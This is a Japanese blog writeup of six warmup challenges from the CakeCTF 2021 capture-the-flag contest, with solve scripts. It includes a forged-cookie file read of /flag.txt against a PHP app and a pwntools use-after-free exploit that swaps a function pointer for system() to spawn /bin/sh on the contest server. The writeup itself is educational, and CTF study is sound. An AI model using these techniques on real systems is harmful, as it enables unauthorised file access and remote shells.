CakeCTF 2021 writeup
8/28 - 8/29に行われたCakeCTF 2021に参加しました。
828点で157チーム中44位でした。
数か月前だと解けなかったような問題を解くことができ、個人的にはかなり良かったと思います。
目次
- Welcome [welcome] (141 solves)
- MofuMofu diary [web][warmup] (80 solves)
- UAF4b [pwn][warmup] (75 solves)
- discrete log [crypto][warmup] (55 solves)
- nostrings [reversing][warmup] (62 solves)
- Break a leg [misc][warmup] (44 solves)
Welcome [welcome] (141 solves)
問題文
Get the flag in Discord
解法
discordの#announcementに書いてある。
CakeCTF{Let_them_eat_CakeCTF2021!}
MofuMofu diary [web][warmup] (80 solves)
問題文
Would you like to see some mofu-mofu pictures?
* The flag is located at /flag.txt
解法
問題のURLを開くと説明と猫の画像のリストが表示される。
また、/flag.txtは当然のことながら404。
与えられたphpファイルを見てみる。
まずはindex.php
<?php require_once 'util.php'; session_start(); $results = get_cached_contents(); ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>MofuMofuDiary</title> <link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1.1.2/new.min.css"> </head> <body> <h1>MofuMofuDiary</h1> <p>Check out the fluffiest pictures I've taken!</p> <?php foreach($results as $result) { ?> <details> <summary><?= $result['description'] ?></summary> <img src="<?= $_SESSION[$result['name']] ?>" alt="image"> </details> <?php } ?> </body> </html>
phpは1行も書いたことがないので雰囲気しかわからないが、get_cached_contents()を一つずつ表示していそう。
次にutil.php
<?php function img2b64($image) { return 'data:jpg;base64,'.base64_encode(file_get_contents($image)); } function get_cached_contents() { $results = []; if (empty($_COOKIE['cache'])) { $images = glob('images/*.jpg'); $expiry = time() + 60*60*24*7; foreach($images as $image) { $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image); $description = trim(file_get_contents($text)); array_push($results, array( 'name' => $image, 'description' => $description )); $_SESSION[$image] = img2b64($image); } $cookie = array('data' => $results, 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry); } else { $cache = json_decode($_COOKIE['cache'], true); if ($cache['expiry'] <= time()) { $expiry = time() + 60*60*24*7; for($i = 0; $i < count($cache['data']); $i++) { $result = $cache['data'][$i]; $_SESSION[$result['name']] = img2b64($result['name']); } $cookie = array('data' => $cache['data'], 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry); } return $cache['data']; } return $results; } ?>
どうやらcookieのあるなしでcacheを使うかどうか決めているようだ。
cookieがあるとき、$result['name']のファイルをそのまま読み込んでいるので、これを使えばflag.txtを表示できそう。
cookieのエンコード方法は知らなかったのでググった。
import urllib.parse cache='{"data":[{"name":"\/flag.txt","description":"Half sleeping cat"},{"name":"images\/02.jpg","description":"When you gaze into the cat, the cat gazes into you"}],"expiry":163073}' print(urllib.parse.quote(cache))
$ python solve.py %7B%22data%22%3A%5B%7B%22name%22%3A%22%5C/flag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%2C%7B%22name%22%3A%22images%5C/02.jpg%22%2C%22description%22%3A%22When%20you%20gaze%20into%20the%20cat%2C%20the%20cat%20gazes%20into%20you%22%7D%5D%2C%22expiry%22%3A163073%7D
これをcookieのcacheにセットしてリロードすればいいはず。
/がエンコードされていないが試してみたらうまくいった(最初expiryを0にして1敗した)。
imageタグなので表示はされないが、ソースにはちゃんとある。
<img src="data:jpg;base64,Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==" alt="image">
あとはbase64でデコードすればおk。
$ echo "Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==" | base64 -d CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}
UAF4b [pwn][warmup] (75 solves)
問題文
You don't dare to try learning Use-after-Free?
解法
まずUse-after-Freeを知らないので調べる。
メモリを解放した後に実行する攻撃手法らしい。
ふーんと言いながら接続。
$ nc pwn.cakectf.com 9001 Today, let's learn how dangerous Use-after-Free is! You're going to abuse the following structure: typedef struct { void (*fn_dialogue)(char*); char *message; } COWSAY; An instance of this structure is allocated on the heap: COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY)); You can 1. Call `fn_dialogue` with `message` as its argument: cowsay->fn_dialog(cowsay->message); 2. Allocate and set `message` (This will never be freed): cowsay->mesage = malloc(17); scanf("%16s", cowsay->message); 3. Delete cowsay only once: free(cowsay); 4. See the heap around the cowsay instance Last but not least, here is the address of `system` function: <system> = 0x7fb2c3579410 1. Use cowsay 2. Change message 3. Delete cowsay (only once!) 4. Describe heap >
なるほど、cowsayをfreeした後でもmessageを変えたりcowsayを実行したりできそうだ。
systemアドレスが与えれているので、よくあるROP問題同様、system("bin/sh")を実行しろということだろうと考えた。
これはfn_dialogueのポインタの代わりにsystemアドレスを入れ、messageに"bin/sh"を入れればいいというのは分かったが、前半部分をどうやって実現するのかさっぱりわからなかった。
CTFs/are you root.md at master · Dvd848/CTFs · GitHubなどを見ていろいろ試行錯誤していくうちに、
- messageをに変更
- cowsayを削除
- messageをに変更
とするとfn_dialogueのポインタが入っていたところに、をリトルエンディアンでエンコードしたものが入るということに気づいた(原理はわからないので要復習)。
追記:手順の1は必要ないらしい(CakeCTF 2021 writeup - st98 の日記帳 - コピー)
をsystemアドレス(をバイト列にしたもの)で実行すれば狙い通りシェルを奪うことができる。
from pwn import * r = remote('pwn.cakectf.com', 9001) r.recvuntil(" <system> = ") addr=r.recvline().decode() print(addr) for i in range(5): r.recvline() # systemアドレスを入力 r.recvuntil("> ") r.sendline("2") r.recvuntil("Message: ") x=int(addr, 0) x=x.to_bytes((x.bit_length() + 7) // 8, byteorder='little') # リトルエンディアン r.sendline(x) # cowsayを削除 r.recvuntil("> ") r.sendline("3") # もう一度sytemアドレスを入力すると、fn_dialogueのポインタが入っていたところにsystemアドレスが入る r.recvuntil("> ") r.sendline("2") r.recvuntil("Message: ") r.sendline(x) r.recvuntil("> ") r.sendline("2") r.recvuntil("Message: ") r.sendline("/bin/sh") r.interactive()
discrete log [crypto][warmup] (55 solves)
問題文
People conclude discrete log is hard problem up to now.
解法
まず与えられたpythonコードを見てみる。
from Crypto.Util.number import getPrime, isPrime, getRandomRange def getSafePrime(bits): while True: p = getPrime(bits - 1) q = 2*p + 1 if isPrime(q): return q with open("flag.txt", "rb") as f: flag = f.read().strip() p = getSafePrime(512) g = getRandomRange(2, p) r = getRandomRange(2, p) cs = [] for m in flag: cs.append(pow(g, r*m, p)) print(p) print(g) print(cs)
離散対数問題のにおいがする。
調べたところ今回のような安全素数()を用いる場合、解くのは難しいらしく絶望していた。
しかしよく見ると文字ごとに同じ鍵で暗号化しているので、適当に割ってあげればが求まるというギャグだった。
# よく見るとすべての文字で同じ鍵を使っているので適当な組み合わせで割ればg^rがわかる p=10577926960839937947442162797370864980541285292536671603546595533193324977125572190720609448828374782284663027664894813711243894320697692129630847705557539 g=9947724104164898694903023872711663896409433873530762235716749042436185304062119886390357927264325412355223958396239523671881766361219889894069645084522127 C=1229288066188188446140572951590585838131579917371511162649288281094421402493758271918280416055465305258850798174813421022714679676287728499647253120374695 # 67 a=10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883 k=8846898594122745402315346660588103073817097798204431437711034651813289442774837730820134043682352683522453026507938275715350738931942754620858572095894833 e=4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846 T=1945428232655195080994800854254286050005395375198086738205807646894444509288423023719076721279967584478447554044287458681202684205941300518455664909896770 # 84 F=10354621433690291080863817499954203913680345790427806490217953854290390664868635054642758139322526900976315271173855068718334823237601765344488054950961045 bracket1=6450396411196778288237471377707156944771360666868782593043200729952706897922338702645020446957804453347793935766075212035314665465699530609262139446841794 # 123 bracket2=2319394889752437261970357119967349450311229179467143254112633795132104201041540419394974595546896804379819748025776699134680309317217660482163282654767536 # 125 gr=((T*pow(C, -1, p)%p)*pow(pow(bracket2*pow(bracket1, -1, p)%p, 8, p), -1, p))%p print(gr) flag=[1229288066188188446140572951590585838131579917371511162649288281094421402493758271918280416055465305258850798174813421022714679676287728499647253120374695, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 8846898594122745402315346660588103073817097798204431437711034651813289442774837730820134043682352683522453026507938275715350738931942754620858572095894833, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 1229288066188188446140572951590585838131579917371511162649288281094421402493758271918280416055465305258850798174813421022714679676287728499647253120374695, 1945428232655195080994800854254286050005395375198086738205807646894444509288423023719076721279967584478447554044287458681202684205941300518455664909896770, 10354621433690291080863817499954203913680345790427806490217953854290390664868635054642758139322526900976315271173855068718334823237601765344488054950961045, 6450396411196778288237471377707156944771360666868782593043200729952706897922338702645020446957804453347793935766075212035314665465699530609262139446841794, 6603165839364347784941569364866161781386478404222821544628017382892389369481107861540318475846446163066953093646715054906626664043485319179748812018187608, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 4042600243432470792279319238797089674031093707099421074301129639348359908738591074209975141693531653698877970720299975180608931933840731135919239266129531, 9753045617655554075535397949256980647454831331391019636944817636801025863316405956657883053760816735577807443396030910262012333972455514593468821229847216, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 5705490906960110528538635141558499052089268217498141288524505028321355953649986725466752682611329558447209023808467500672466053160864942319360366767522428, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 2785996600898026596024204925975309018606205305214377134460494244584059497511759664894757187838328097195872398784106625161459942753354545213358279449633332, 5705490906960110528538635141558499052089268217498141288524505028321355953649986725466752682611329558447209023808467500672466053160864942319360366767522428, 8518396356987073160446226593505514680842064427706567536033369420610810908882528653260766790896766994789384117506763080763933744536854279875382388996716393, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 4042600243432470792279319238797089674031093707099421074301129639348359908738591074209975141693531653698877970720299975180608931933840731135919239266129531, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 1451759830404925477558275270642407378934999719484439203872342683020817625642737205582986542429047217317435872276960585914530151288082605818539662897325059, 4042600243432470792279319238797089674031093707099421074301129639348359908738591074209975141693531653698877970720299975180608931933840731135919239266129531, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 3844728289551481985429176289449289604000304789858654366566902189290267618563940933188833996034764887276042750051165636121466021492112395693389564386737849, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 6603165839364347784941569364866161781386478404222821544628017382892389369481107861540318475846446163066953093646715054906626664043485319179748812018187608, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 2785996600898026596024204925975309018606205305214377134460494244584059497511759664894757187838328097195872398784106625161459942753354545213358279449633332, 9753045617655554075535397949256980647454831331391019636944817636801025863316405956657883053760816735577807443396030910262012333972455514593468821229847216, 2785996600898026596024204925975309018606205305214377134460494244584059497511759664894757187838328097195872398784106625161459942753354545213358279449633332, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 6075040072394386353700068186624559720007996691077752316710222658102597630426876503425968551345482454171942016710393973778088713964073715708282771166108340, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 2319394889752437261970357119967349450311229179467143254112633795132104201041540419394974595546896804379819748025776699134680309317217660482163282654767536] m="" for c in flag: for i in range(32, 127): if pow(gr, i, p)==c: m+=chr(i) break print(m)
$ python solve.py 2133780179856528941686197549905200961098779744004176861462378634318182323370247132358378418421469834302066420983881981864060865175513753349215495166461537 CakeCTF{ba37a0f409ef3ec23a6cffbc474a1cef}
個人的には一番簡単な問題だった。
nostrings [reversing][warmup] (62 solves)
問題文
CTF / rev / warmup --> strings
解法
問題名がnostringsだが、一応実行ファイルにstringsコマンドを使ってみる。
$ strings chall <略> FakeCTF{actually_this_is_not_the_flag_please_don_t_submit} CokeCTF{the_coke_is_so_tasty_but_not_compatible_with_cake} DoggoCTF{the_doggo_is_so_cute_i_know_and_you_may_know_too} CateCTF{do_you_know_the_name_of_the_cat_who_eating_a_cake} BlablaBla...Wowow....Wawooooooooo...Nyarrrrrrrrn....Cooook FlagCTF{so_as_a_lot_of_flags_here_one_of_them_is_a_flag??} CTFCTF{who_were_defined_the_standard_format_of_the_flag??} MiscCTF{in_fact_im_so_tired_to_make_a_lot_of_fake_flags_an nd_there_number_of_uncreated_flag_is_waiting_for_me_:sob:} CakeCTF}this_is_not_a_flag_because_dont_follow_the_format{ The_quick_brown_fox_jumps_over_the_lazy_dog_while_the_cat_ eating_a_so_tasty_cake_btw_why_this_is_the_cakectf_qurious stylus_cartooned_unregenerate_divisions_respites_broomstic ruckuses_evinced_anyhow_mosques_terraces_estrogens_tomorro Cheever{s_Javanese_washbowl_booklets_surfaces_allusions_os infid315_0v3rch4rg35_h34p_nigg45_guid3b00k5_b3570wing_p4vi in3xp3n5iv31y_imp3cc4b1y0v3r_f13ck_knigh7_cynici5m5_0ffby} Su54nn3{R3ich_bubb1y_bip4r7_0f_g041_5ick_G3n3r41_juni0r5_x Hemingway_recording_Eisenhower_stingray_scammers_abacuses} 5p0n50r5_734_347_c1053_c41m_m30w_innu_quick_70find_c4k3_in n0ug37_10p35_kick574nd_35quir3_4t_74ugh7y_b14ckh411_gin5_c r34d_undying_45p3rg3s_inv41id_p3rm347_p5yc03cc_in7r4p3r50n ceilings_area_prepares_exterminations_sidebar_Zubeneschama d00r{b04t_4nd_c7o_c0mmu73_fri3nd5hip_mur415_b05ch_h3uri57i Beneluxs_Krasnoyarsk_jamming_preventative_batters_hangdog} hums_Xhosa_unutterable_corset_splinted_vacationer_suspicio 3mbr0i15_4v3r4g3d_pr35ump7i0n5_Sc0775d413_v4n4dium5_d35014 finalize_protrusions_talkative_ingested_pithily_hydrae_Pet Cooper{Vincent_telecommute_quorum_personalitys_tails_troll inexplicable_tags_mobilization_christenings_wive_tangs_cop 0v3r4chi3v3r5_J4ni5_r3c3p7iv3n355_F4i5414b4d_1ik3n3555_5hu needinesss_hemmed_stargazer_simplex_transmigrate_Naismith} Ednas_Livingstons_terminals_subsystem_upshot_Fibonaccis_el burri705_p33v35_5p0n74n30u51y_0rch357r4_V41h41145_Guin3v3r baxters_diaphragms_Exodus_bunted_owes_tomcats_sagas_dickie Ceo_Card_overbalances_cursorily_clanking_celebrated_rummag forsaking_slits_delphiniums_ooze_fricasseed_enfolded_yearb lubricators_Amigas_maws_middleweights_scaffold_radically_j souls_Force_Roku_inheritances_acolyte_onionskins_submersed enlivens_crotch_brocades_collides_telescopes_blooded_papoo 5wif71y_bi0ch3mi57_C075w01d_N0xz3m4_c0c00n3d_570dgin3555_f Nicolas_arduously_send_tightropes_lighted_feathers_ancient Varanasi_Navahoes_supervisions_heel_cynosure_warily_whoope Cages{Bamako_dimness_dreamland_cambering_maelstroms_Ladoga promos_excerpt_siblings_academician_intestines_moos_exalta Ci{sepulchers_willfully_smokiness_deputy_cuisine_peppering fibbed{unequally_synthetics_mock_Ahmads_leashed_solicitati lines_recopying_directing_trusted_gangs_Alexs_casual_sleaz und3rn347h5_D31phinu5_pr05p3c75_c4rj4ck3r5_g3n0m3_m0i573n5 new_Danishs_Olivia_calfskins_hones_thigh_stickups_bargaine pr0f355i0n5_1imp375_pr3cipi74735_B4c0n5_c0nc473n473d_p0r74 accidentally_air_Afrikaanss_equivalent_tarpons_storeroom_C game_Toneli_suspected_Eloys_reimposed_limited_treks_Blair} poshest{touchstone_Marchs_wealthy_frappe_noised_runabout_l Mirfak_wagons_Christianitys_tenser_reconquer_Akbars_Stendh griddlecakes_cigaret_Apia_rennets_Hephaestuss_chrysalides} score{Pythias_epee_renovated_alkalies_protozoa_physiothe_s 73n50r5_L03w5_4r3n7_5id31igh7_5h4110w5_3mb4rr455m3n75_0unc Saki{despicable_fleets_kleptomanias_platooning_tearjerkers demitasses_covers_stile_variate_proprietorships_namesakes} pleasant_Toscas_gulag_P_jiggle_basements_Aries_minicams_in scientific_MacBride_kneeled_vascular_Eugenia_fishwifes_fla Opel{comparability_potters_perfecter_gurgle_geeks_lighting fascinating_toot_sitty_en_guel_n_kill_em_ll_t_chop_suitabl minute{shrouding_flambeing_Dotsons_kettledrums_mastoid_Rot cares{fluttering_segments_trumpeters_mumble_vengeful_subco uncompromisable_gut_Kewpies_escaroles_watercresss_unsparin dizzies{inelegant_pocket_appeasements_Langs_pawnsh_gibbet} frizzles_Garlant_yarbook_cardinal_carats_palpable_jaws_mul haxe_tarnishs_Putnam_fusss_bull_forum_intrinsically_dishon browbeating_layers_ciabattas_thief_Murasaki_unfruitful_kek boycotted_optimisms_nematode_coolweight_over_assign_cell_s dumble{yahoo_limited_offish_beautified_distort_nipped_tran prospectuses_Puseys_Loafer_i_dozes_hominoid_Belgrades_endc ciders_Robbinss_pantheism_rational_feasibilitys_Guthrie_st lakefront_Closures_mounds_taillights_insouciant_foregoes_s wafers{preordained_manic_breading_vibrato_advisers_registe sidekicks_oink_dispersing_unrehear_Derby_pain_sadnesss_ent b4rb3r5h0p_5mi7hy_4pr0p05_imm0r7415_wh0_m0n3y_r0y417y_c4rp bans{candle_but_Tulsidass_Charlenes_estimable_peps_calluse analyzers_gybing_pool_binnacle_Rambo_yeshivas_Anitas_tooth Kenya_overreact_panelist_Caras_conifers_agilitys_isolated} Dow_noughts_Mammons_discounting_fonts_pinioning_electricit exalting{trademarked_complete_blueprint_Leonard_modified_o venally_todd_Irelands_amazon_endless_median_Horn_lanker_so v3rb5_WiFi_4b04rd_ch4mmy_510p5_5id357r0k35_g0rg35_ici3r_7r foresails_Damien_waits_Inuktituts_luridnesss_logarithms_su retrorockets_Amerindians_refuting_Comos_butternuts_instant Alice_Cranes_enthusiast_irresponsible_ruffled_bonds_commen energies_received_rainfalls_meet_rakes_grounders_unhooks_b banisters_Roy_Yaccs_Merediths_burs_backwaters_hum_Wilberts Zipcode{applicability_petticoat_Biscayne_transliterates_pu matchless_hydrants_Scheherazade_phlegms_actings_encores_de d3b3n7ur35_Burn5_M31vi113_hir3d_und3r5id35_inv3r531y_gund} LastCTF{the_flag_has_stopped_here_secret_must_in_there...} <略>
何やら意味深な文字列が現れる。
CakeCTF\{[\x20-\x7e]+\}に相当するものがないため、Ghidraでデコンパイルした。
undefined8 FUN_001011a9(void) { undefined8 uVar1; long in_FS_OFFSET; int is_same; int count; char input [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("flag: "); __isoc99_scanf(&DAT_0010200b,input); is_same = 1; count = 0; do { if (0x39 < count) { if (is_same == 0) { puts("-_- < flag in the string..."); } else { puts(".O. < i+! +o6 noh"); puts(">v< this is the flag"); } uVar1 = 0; LAB_001012ae: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar1; } if (input[count] == '\x7f') { puts("^o^"); uVar1 = 1; goto LAB_001012ae; } is_same = (uint)((uint)(byte)s__00104020[(long)(int)input[count] * 0x7f + (long)count] == (int)input[count]) * is_same; count = count + 1; } while( true ); }
最後の方で文字列の比較をしている部分が重要。
入力のcount番目と比較しているs__00104020の添え字は、
入力のcount番目に0x7fをかけてcountを足したもの
である。
例えば1文字目はCのはずなので、
s__00104020[0x430x7f]と0x43
を比較することになる(おそらく一致する)。
0x7fおきに文字列があったので、先ほどstringsコマンドで得られたものを用いてflagが得られる。
x=[ "FakeCTF{actually_this_is_not_the_flag_please_don_t_submit}", "CokeCTF{the_coke_is_so_tasty_but_not_compatible_with_cake}", "DoggoCTF{the_doggo_is_so_cute_i_know_and_you_may_know_too}", "CateCTF{do_you_know_the_name_of_the_cat_who_eating_a_cake}", "BlablaBla...Wowow....Wawooooooooo...Nyarrrrrrrrn....Cooook", "FlagCTF{so_as_a_lot_of_flags_here_one_of_them_is_a_flag??}", "CTFCTF{who_were_defined_the_standard_format_of_the_flag??}", "MiscCTF{in_fact_im_so_tired_to_make_a_lot_of_fake_flags_an", "nd_there_number_of_uncreated_flag_is_waiting_for_me_:sob:}", "CakeCTF}this_is_not_a_flag_because_dont_follow_the_format{", "The_quick_brown_fox_jumps_over_the_lazy_dog_while_the_cat_", "eating_a_so_tasty_cake_btw_why_this_is_the_cakectf_qurious", "stylus_cartooned_unregenerate_divisions_respites_broomstic", "ruckuses_evinced_anyhow_mosques_terraces_estrogens_tomorro", "Cheever{s_Javanese_washbowl_booklets_surfaces_allusions_os", "infid315_0v3rch4rg35_h34p_nigg45_guid3b00k5_b3570wing_p4vi", "in3xp3n5iv31y_imp3cc4b1y0v3r_f13ck_knigh7_cynici5m5_0ffby}", "Su54nn3{R3ich_bubb1y_bip4r7_0f_g041_5ick_G3n3r41_juni0r5_x", "Hemingway_recording_Eisenhower_stingray_scammers_abacuses}", "5p0n50r5_734_347_c1053_c41m_m30w_innu_quick_70find_c4k3_in", "n0ug37_10p35_kick574nd_35quir3_4t_74ugh7y_b14ckh411_gin5_c", "r34d_undying_45p3rg3s_inv41id_p3rm347_p5yc03cc_in7r4p3r50n", "ceilings_area_prepares_exterminations_sidebar_Zubeneschama", "d00r{b04t_4nd_c7o_c0mmu73_fri3nd5hip_mur415_b05ch_h3uri57i", "Beneluxs_Krasnoyarsk_jamming_preventative_batters_hangdog}", "hums_Xhosa_unutterable_corset_splinted_vacationer_suspicio", "3mbr0i15_4v3r4g3d_pr35ump7i0n5_Sc0775d413_v4n4dium5_d35014", "finalize_protrusions_talkative_ingested_pithily_hydrae_Pet", "Cooper{Vincent_telecommute_quorum_personalitys_tails_troll", "inexplicable_tags_mobilization_christenings_wive_tangs_cop", "0v3r4chi3v3r5_J4ni5_r3c3p7iv3n355_F4i5414b4d_1ik3n3555_5hu", "needinesss_hemmed_stargazer_simplex_transmigrate_Naismith}", "Ednas_Livingstons_terminals_subsystem_upshot_Fibonaccis_el", "burri705_p33v35_5p0n74n30u51y_0rch357r4_V41h41145_Guin3v3r", "baxters_diaphragms_Exodus_bunted_owes_tomcats_sagas_dickie", "Ceo_Card_overbalances_cursorily_clanking_celebrated_rummag", "forsaking_slits_delphiniums_ooze_fricasseed_enfolded_yearb", "lubricators_Amigas_maws_middleweights_scaffold_radically_j", "souls_Force_Roku_inheritances_acolyte_onionskins_submersed", "enlivens_crotch_brocades_collides_telescopes_blooded_papoo", "5wif71y_bi0ch3mi57_C075w01d_N0xz3m4_c0c00n3d_570dgin3555_f", "Nicolas_arduously_send_tightropes_lighted_feathers_ancient", "Varanasi_Navahoes_supervisions_heel_cynosure_warily_whoope", "Cages{Bamako_dimness_dreamland_cambering_maelstroms_Ladoga", "promos_excerpt_siblings_academician_intestines_moos_exalta", "Ci{sepulchers_willfully_smokiness_deputy_cuisine_peppering", "fibbed{unequally_synthetics_mock_Ahmads_leashed_solicitati", "lines_recopying_directing_trusted_gangs_Alexs_casual_sleaz", "und3rn347h5_D31phinu5_pr05p3c75_c4rj4ck3r5_g3n0m3_m0i573n5", "new_Danishs_Olivia_calfskins_hones_thigh_stickups_bargaine", "pr0f355i0n5_1imp375_pr3cipi74735_B4c0n5_c0nc473n473d_p0r74", "accidentally_air_Afrikaanss_equivalent_tarpons_storeroom_C", "game_Toneli_suspected_Eloys_reimposed_limited_treks_Blair}", "poshest{touchstone_Marchs_wealthy_frappe_noised_runabout_l", "Mirfak_wagons_Christianitys_tenser_reconquer_Akbars_Stendh", "griddlecakes_cigaret_Apia_rennets_Hephaestuss_chrysalides}", "score{Pythias_epee_renovated_alkalies_protozoa_physiothe_s", "73n50r5_L03w5_4r3n7_5id31igh7_5h4110w5_3mb4rr455m3n75_0unc", "Saki{despicable_fleets_kleptomanias_platooning_tearjerkers", "demitasses_covers_stile_variate_proprietorships_namesakes}", "pleasant_Toscas_gulag_P_jiggle_basements_Aries_minicams_in", "scientific_MacBride_kneeled_vascular_Eugenia_fishwifes_fla", "Opel{comparability_potters_perfecter_gurgle_geeks_lighting", "fascinating_toot_sitty_en_guel_n_kill_em_ll_t_chop_suitabl", "minute{shrouding_flambeing_Dotsons_kettledrums_mastoid_Rot", "cares{fluttering_segments_trumpeters_mumble_vengeful_subco", "uncompromisable_gut_Kewpies_escaroles_watercresss_unsparin", "dizzies{inelegant_pocket_appeasements_Langs_pawnsh_gibbet}", "frizzles_Garlant_yarbook_cardinal_carats_palpable_jaws_mul", "haxe_tarnishs_Putnam_fusss_bull_forum_intrinsically_dishon", "browbeating_layers_ciabattas_thief_Murasaki_unfruitful_kek", "boycotted_optimisms_nematode_coolweight_over_assign_cell_s", "dumble{yahoo_limited_offish_beautified_distort_nipped_tran", "prospectuses_Puseys_Loafer_i_dozes_hominoid_Belgrades_endc", "ciders_Robbinss_pantheism_rational_feasibilitys_Guthrie_st", "lakefront_Closures_mounds_taillights_insouciant_foregoes_s", "wafers{preordained_manic_breading_vibrato_advisers_registe", "sidekicks_oink_dispersing_unrehear_Derby_pain_sadnesss_ent", "b4rb3r5h0p_5mi7hy_4pr0p05_imm0r7415_wh0_m0n3y_r0y417y_c4rp", "bans{candle_but_Tulsidass_Charlenes_estimable_peps_calluse", "analyzers_gybing_pool_binnacle_Rambo_yeshivas_Anitas_tooth", "Kenya_overreact_panelist_Caras_conifers_agilitys_isolated}", "Dow_noughts_Mammons_discounting_fonts_pinioning_electricit", "exalting{trademarked_complete_blueprint_Leonard_modified_o", "venally_todd_Irelands_amazon_endless_median_Horn_lanker_so", "v3rb5_WiFi_4b04rd_ch4mmy_510p5_5id357r0k35_g0rg35_ici3r_7r", "foresails_Damien_waits_Inuktituts_luridnesss_logarithms_su", "retrorockets_Amerindians_refuting_Comos_butternuts_instant", "Alice_Cranes_enthusiast_irresponsible_ruffled_bonds_commen", "energies_received_rainfalls_meet_rakes_grounders_unhooks_b", "banisters_Roy_Yaccs_Merediths_burs_backwaters_hum_Wilberts", "Zipcode{applicability_petticoat_Biscayne_transliterates_pu", "matchless_hydrants_Scheherazade_phlegms_actings_encores_de", "d3b3n7ur35_Burn5_M31vi113_hir3d_und3r5id35_inv3r531y_gund}", "LastCTF{the_flag_has_stopped_here_secret_must_in_there...}" ] flag="" for i in range(58): for j, xx in enumerate(x): if chr(j+32)==xx[i]: flag+=xx[i] break print(flag)
$ python solve.py CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}
Break a leg [misc][warmup] (44 solves)
問題文
ganbatte!
解法
妙な画像と次のpythonコードが与えられた。
from PIL import Image from random import getrandbits with open("flag.txt", "rb") as f: flag = int.from_bytes(f.read().strip(), "big") bitlen = flag.bit_length() data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] img = Image.new("RGB", (256, 256)) img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)]) img.save("chall.png")
flagと乱数のbitごとのorを画像にしたようだ。
一見復元できないようだが、flagが0のときはいつか0が現れるということを利用すれば簡単。
flagのbit長を全探索すればいい。
from PIL import Image import numpy as np from Crypto.Util.number import long_to_bytes img=Image.open("break_a_leg/chall.png") colors=np.zeros(256*256*3, dtype=bool) for j in range(256): for i in range(256): tmp=img.getpixel((i, j)) colors[j*256*3 + i*3 + 0]=bool(tmp[0]&1) colors[j*256*3 + i*3 + 1]=bool(tmp[1]&1) colors[j*256*3 + i*3 + 2]=bool(tmp[2]&1) for i in range(1, 16*50+1): flag=0 mask=1 for j in range(i): if np.all(colors[j::i]): flag+=mask mask<<=1 try: if flag != 0: print(long_to_bytes(flag).decode()) except UnicodeDecodeError: pass
$ python solve.py CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}